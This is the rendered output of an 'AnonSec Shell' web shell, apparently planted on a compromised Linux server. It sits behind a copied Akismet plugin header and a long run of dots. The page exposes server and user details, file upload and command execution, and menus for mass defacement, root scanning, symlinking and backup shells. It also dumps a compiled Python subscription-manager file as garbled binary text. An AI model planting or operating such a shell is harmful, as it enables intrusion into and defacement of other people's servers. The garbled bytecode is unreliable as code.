#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/subscription_manager/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pyo
�
L��ec@`s�ddlmZmZmZddlZddlZejrWee�ejd�ne	a
d�Zee_ddl
Z
ddlZddlZddlZddlZddlZddlZddlmZej�ejd�ZddlmZej�d�Zee_dd	lmZdd
lm Z e �ddl!m"Z"ddl#m$Z$m%Z%m&Z&m'Z'dd
l(m)Z)ddl*m+Z+m,Z,m-Z-ddl.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4ddl5m6Z6m7Z7ddl8m9Z9ddl:m;Z;e;j<e9��Z=d�Z>d�Z?d�Z@d�ZAd�ZBd�ZCejd��ZDd�ZEdejFjGfd��YZHd�ZId�ZJd�ZKeLd kr�eK�ndS(!i(tprint_functiontdivisiontabsolute_importNsutf-8cC`sSt|t�r&tj|||�dStrBtj|||�ntjd�dS(Ni(t
issubclasstKeyboardInterrupttsyst__excepthook__tenable_debugtexit(texc_typet	exc_valuet
exc_traceback((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pytexcepthook_base!s(t	ga_loadersrhsm-app.rhsmd(tlogutilcC`s>tj|||�}tjddj|��t|||�S(Ns>Unhandled rhsmd exception caught by the logging excepthook: %st(t	tracebacktformat_exceptiontlogterrortjoinR(R	R
Rt	framelist((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pytexcepthook_loggingEs	(tGObject(tinit_dep_injection(tget_branding(trequiretIDENTITYtCERT_SORTERtRHSM_ICON_CACHE(tClassicCheck(tOptionParsertWrappedIndentedHelpFormattertUSAGE(t
RHSM_VALIDtRHSM_EXPIREDtRHSM_WARNINGtRHSM_PARTIALLY_VALIDtRHN_CLASSICtRHSM_REGISTRATION_REQUIRED(tprint_errortis_process_running(t
initConfig(tconfigcC`s1tr tj|�t|�n
tj|�dS(sR
    Print debug messages to console or rhsm.log
    :param msg:
    :return:
    N(RRtdebugtprint(tmsg((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pyR,cs

cC`s(x!|jD]}|j�r
tSq
WtS(sQ
    Is any entitlement certificate expired?
    :param sorter:
    :return:
    (tvalid_entitlement_certstis_expiringtTruetFalse(tsortertentitlement((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pytin_warning_periodpscC`s{|dk	rtd�|St�j�r7td�tStt�}tt�}|j�rw|j	�rwtd�t
SdS(s
    Pre check status of the system. Is it registered against classic. Is it registered?
    :param force_signal: When this is not None, then this value is returned
    :return: Specified force_signal or RHN_CLASSIC or RHSM_REGISTRATION_REQUIRED or None
    s"forcing status signal from cli args:System is already registered to another entitlement systems'The system is not currently registered.N(tNoneR,Rtis_registered_with_classicR&RRRtis_validthas_entitlementsR'(tforce_signaltidentityR3((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pytpre_check_status|s


cC`s2t|�}|dk	r|Stt�}|j�S(s�
    When pre_check_status does not return anything, then status is retrieved from candlepin server
    using ComplianceManager
    :param force_signal: When force_signal is not None, then this signal will be returned
    :return: Some signal
    N(R<R6RRtget_status_for_icon(R:t
pre_resultR3((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pytcheck_status�s
cC`s*|jr&d}t|�|j�ntS(s�
    Callback function used for checking if the d-bus has been called at least once
    :param checker: instance of StatusChecker
    :param loop: instance GObject.Mainloop
    :return:
    sXD-Bus com.redhat.SubscriptionManager.EntitlementStatus.check_status called once, exiting(thas_runR,tquitR1(tcheckertloopR.((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pytcheck_if_ran_once�s
	

cC`sPtd�|jr!td�dSt�r8td�dStd�|j�dS(s�
    Timeout callback method is called only after timeout defined in StatusChecker
    :param loop: instance of GObject.MainLoop
    :param checker: instance of StatusChecker
    :return: None
    s0Timeout reached. Checking reason to continue ...s>Not terminating rhsmd, because CLI option --keep-alive was setNs3Not terminating rhsmd, because rhsm-icon is runningsNo reason found. Terminating(R,t
keep_alivetis_rhsm_icon_runningRA(RCRB((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pyt
timeout_cb�s
	
	

cO`sxz|||�SWdy!|d}t|_|j�Wn;tk
rUtjd�ntk
rrtjd�nXXdS(s�
    A decorator ensuring the decorated method exits the main loop after
    running (even if it fails with an exception)
    :param func: the method that will be decorated. Should be a method of
    StatusChecker
    :return:
    NissCannot get reference to StatusChecker instance.
Unable to quit out of main loop.
 rhsmd may not quit automatically.snFailed to quit mainloop.
Was 'ensure_exit' used to decorate a method of a class that does not havea main loop?(R1R@twatchdogt
IndexErrorRt	exceptiontAttributeError(tfunctargstkwargststatus_checker((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pytensure_exit�s	
	

cC`s7td�td�}|r)td�n
td�|S(s�
    This function checks if rhsm-icon process is running.
    :return: It returns True, when rhsm-icon is running. Otherwise return False.
    s(Checking if rhsm-icon process is runnings	rhsm-iconsProcess rhsm-icon is runnings Process rhsm-icon is not running(R,R)(tret((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pyRF�s


t
StatusCheckercB`s�eZdZd�Zd�Zejjdddd�d��Zd�Z	ejj
ddd	d�ed
���Zejj
dddd�ed���Z
RS(
i,cC`s�tjjd|�}tjjj||d�t|_tt�|_	||_
||_||_|j
�tj|jt||�dS(Nscom.redhat.SubscriptionManagers/EntitlementStatus(tdbustservicetBusNametObjectt__init__R2R@RRtrhsm_icon_cacheRER:RCtread_rhsm_configt
ga_GObjectttimeout_add_secondstTIMEOUTRG(tselftbusRER:RCtname((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pyRW�s				
cC`s�td�dtkr�dtdkr�tdd}yt|�|_Wn(tk
rqtd||jf�q�Xtd|j�ntd|j�dS(s{
        Try to read specific option: rhsmd.processTimeout from configuration file rhm.conf.
        :return: None
        s2Trying to get processTimeout option from rhsm.conftrhsmdtprocessTimeouts;Unable to convert "%s" into number; using default value: %ds5New timeout is set according rhsmd.processTimeout: %ssKUnable to read rhsmd.processTimeout from rhsm.conf; using default value: %dN(R,tconftintR\t
ValueError(R]ttimeout((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pyRYs

tdbus_interfaces0com.redhat.SubscriptionManager.EntitlementStatust	signatureticC`s%tjd�tdt|��dS(Ns`D-Bus signal com.redhat.SubscriptionManager.EntitlementStatus.entitlement_status_changed emittedssignal fired! code is (RR,tstr(R]tstatus_code((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pytentitlement_status_changeds
cC`s&|js"tjt||j�ndS(s�
        This is so we can guarantee exit after the D-Bus stuff is done, since
        certain parts of that are async
        :return: None
        N(RERZtidle_addRDRC(R]((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pyRHs	t
out_signaturecC`sttjd�t|j�}|jj�}|rW||krWtd�|j|�n||j_|jj�|S(sm
        returns: 0 if entitlements are valid, 1 if not valid,
                 2 if close to expiry
        sTD-Bus interface com.redhat.SubscriptionManager.EntitlementStatus.check_status calleds4Validity status changed, fire signal in check_status(	RR,R?R:RXtread_cache_onlyRktdatatwrite_cache(R]tstatust
cached_status((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pyR?%s	


tin_signaturecC`s�tjd|�t|j�}|dk	r5|}n|jj�}|rp||krptd�|j|�n||j_|jj	�dS(NsfD-Bus interface com.redhat.SubscriptionManager.EntitlementStatus.update_status called with status = %ss$Validity status changed, fire signal(
RR,R<R:R6RXRnRkRoRp(R]RqR>Rr((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pyt
update_status8s	
(t__name__t
__module__R\RWRYRSRTtsignalRkRHtmethodRPR?Rt(((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pyRR�s				cC`s�|d	krd	S|j�j�}|dkr2tS|dkrBtS|dkrRtS|dkrbtS|dkrrtS|dkr�tSt	d|�t
jd�d	S(
s{
    Try to validate provided signal on CLI
    :param cli_arg: string with signal
    :return: Code of signal or None
    tvalidtexpiredtwarningtpartialtclassictregistration_requiredsInvalid force option: %si����N(R6tlowertstripR"R#R$R%R&R'R(RR(tcli_arg((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pytparse_force_signalNs"cC`sEtjd�tj||�tjd|�trAt|�ndS(s|
    Log message to syslog
    :param level: Level of debug print
    :param msg: String with message
    :return: None
    R`s	rhsmd: %sN(tsyslogtopenlogRR,RR-(tlevelR.((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pyt
log_syslogjs

cC`s�td�tjd�tjd�tdtdt��}|jdddd	d
ddd
dt�|jddddd
ddd
dt�|jddddd
ddd
dt�|jddddd
dd�|jdddddd
dtd
d�|j�\}}t	|j
�}|jrL|d,krLt
d �tjd!�n|ja|jr8tjd"�t|�}|tkr�ttjd#d$�n�|tkr�ttjd%d&d$�ns|tkr�ttjd'd$�nP|tkr	ttjt�j�n+|tkr4ttjd(d)d*d+�n|Stjt_tj �}t!j"�}t#||j$||�}|jr�|j%|�n|j&�d,S(-sc
    Main method of rhsmd providing D-Bus API com.redhat.SubscriptionManager
    :return: None
    s
rhsmd startedsID-Bus API: com.redhat.SubscriptionManager provided by rhsmd is deprecatedsCConsider using D-Bus API: com.redhat.RHSM1 provided by rhsm.servicetusaget	formatters-ds--debugtdestR,thelpsDisplay debug messagestactiont
store_truetdefaults-ks--keep-aliveREs8Stay running (don't shut down after the first dbus call)s-ss--syslogR�s'Run standalone and log result to syslogs-fs--force-signalR:sForce firing of a signal sD(valid, expired, warning, partial, classic or registration_required)s-is--immediatet	immediates8Fire forced signal immediately (requires --force-signal)s,--immediate must be used with --force-signali����s%logging subscription status to syslogs2This system is missing one or more subscriptions. s5Please run subscription-manager for more information.s1This system is missing one or more subscriptions sto fully cover its products. s1This system's subscriptions are about to expire. s2In order for Subscription Manager to provide your s4system with updates, your system must be registered s4with the Customer Portal. Please enter your Red Hat s*login to ensure your system is up-to-date.N('R,RtinfoRR!R t
add_optionR2t
parse_argsR�R:R�R6R(RRRR�R?R#R�t
LOG_NOTICER%R$R&tLOG_INFORtRHSMD_REGISTERED_TO_OTHERR'Rt
excepthookRSt	SystemBusRZtMainLoopRRRERktrun(tparsertoptionsRMR:Rqt
system_busRCRB((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pytmainxsn





		
						t__main__(Mt
__future__RRRtsixRtPY2treloadtsetdefaultencodingR2RRR�R�RStdbus.servicet	dbus.glibt	decoratortloggingRtsubscription_managerR
tinit_gat	getLoggerRRtinit_loggerRtsubscription_manager.gaRRZt"subscription_manager.injectioninitRtsubscription_manager.brandingRtsubscription_manager.injectionRRRRtrhsmlib.facts.hwprobeRt"subscription_manager.i18n_optparseRR R!t subscription_manager.cert_sorterR"R#R$R%R&R'tsubscription_manager.utilsR(R)trhsm.configR*trhsmlib.servicesR+tConfigRbR,R5R<R?RDRGRPRFRTRVRRR�R�R�Ru(((sI/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsm_d.pyt<module>s`	
	
	

		".	
						a			T

Anon7 - 2022
AnonSec Team